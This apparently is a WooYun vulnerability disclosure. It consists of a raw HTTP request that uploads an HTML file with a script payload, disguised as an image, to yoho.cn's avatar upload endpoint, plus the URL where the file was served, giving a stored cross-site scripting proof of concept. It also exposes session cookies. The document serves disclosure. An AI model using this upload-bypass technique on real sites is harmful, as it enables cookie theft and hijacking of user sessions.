WooYun.org

POST / HTTP/1.1
Host: upfile.yoho.cn
Content-Length: 1009
Origin: http://www.yoho.cn
X-Requested-With: ShockwaveFlash/18.0.0.232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: multipart/form-data; boundary=----------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Accept: */*
Referer: http://www.yoho.cn/passport/personal/setting
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: _yasv=174023428; PHPSESSID=n7k7mn8is6rr60rbo5q09hl843; yh_merge_new=21691082%2C014afaca94534a8b8219b6d68d3c75931258fd3e%2Cy%2C1441331390; Hm_cv_cba6f2719081a006e181cf17fa40ad05=1*login*1; _gat=1; __utmt=1; Hm_lvt_cba6f2719081a006e181cf17fa40ad05=1441327478; Hm_lpvt_cba6f2719081a006e181cf17fa40ad05=1441341531; _ga=GA1.2.913168703.1441327478; __utma=79162396.913168703.1441327478.1441338275.1441341447.4; __utmb=79162396.5.10.1441341447; __utmc=79162396; __utmz=79162396.1441327539.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=79162396.|1=login=1=1
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Content-Disposition: form-data; name="Filename"
xx.png
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Content-Disposition: form-data; name="key"
0aadYKdam_iAu-A1dxKCwgmvtg3_9khlYhAM_x7GVknQpoBCCo_nvbIhajkgd2LXFNUgBxUwQ94PmD74DtsvNW9Hg2AZyFIFNz17RPQBLjIH_PPJjUdggy9z0zz-60fmJGTnaktKB6PKw055tCdUgxLsmaJpx1tx3rnxerxtzrcSILEqi7Jv4i1PvTePmlIUXYouxPe7-m9DWxh9INAEx78W0xEqWAyV6zlcbmtccbh69HWBlnACN_LQIUx-dH0balJqznYxmR1THfls-3yyhg-m70KKWtrDod1GKN45beYvZQZvJcYvlsxt1JUAsZn0db7EjQBSlFBMfAiLcj6DDHtfhrPmY1aE0BEZaJy-uRgsIOIrk23tNPgyUaA
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Content-Disposition: form-data; name="format"
json
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Content-Disposition: form-data; name="file"; filename="xx.html"
Content-Type: image/jpeg
<script>
alert(document.cookie);
</script>
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4
Content-Disposition: form-data; name="Upload"
Submit Query
------------ae0Ij5ae0Ij5GI3Ef1Ef1GI3Ij5ei4--

http://img01.res.yoho.cn/headimg/2015/09/04/12/01f158383fe734394e384a1ebc25af5f36.html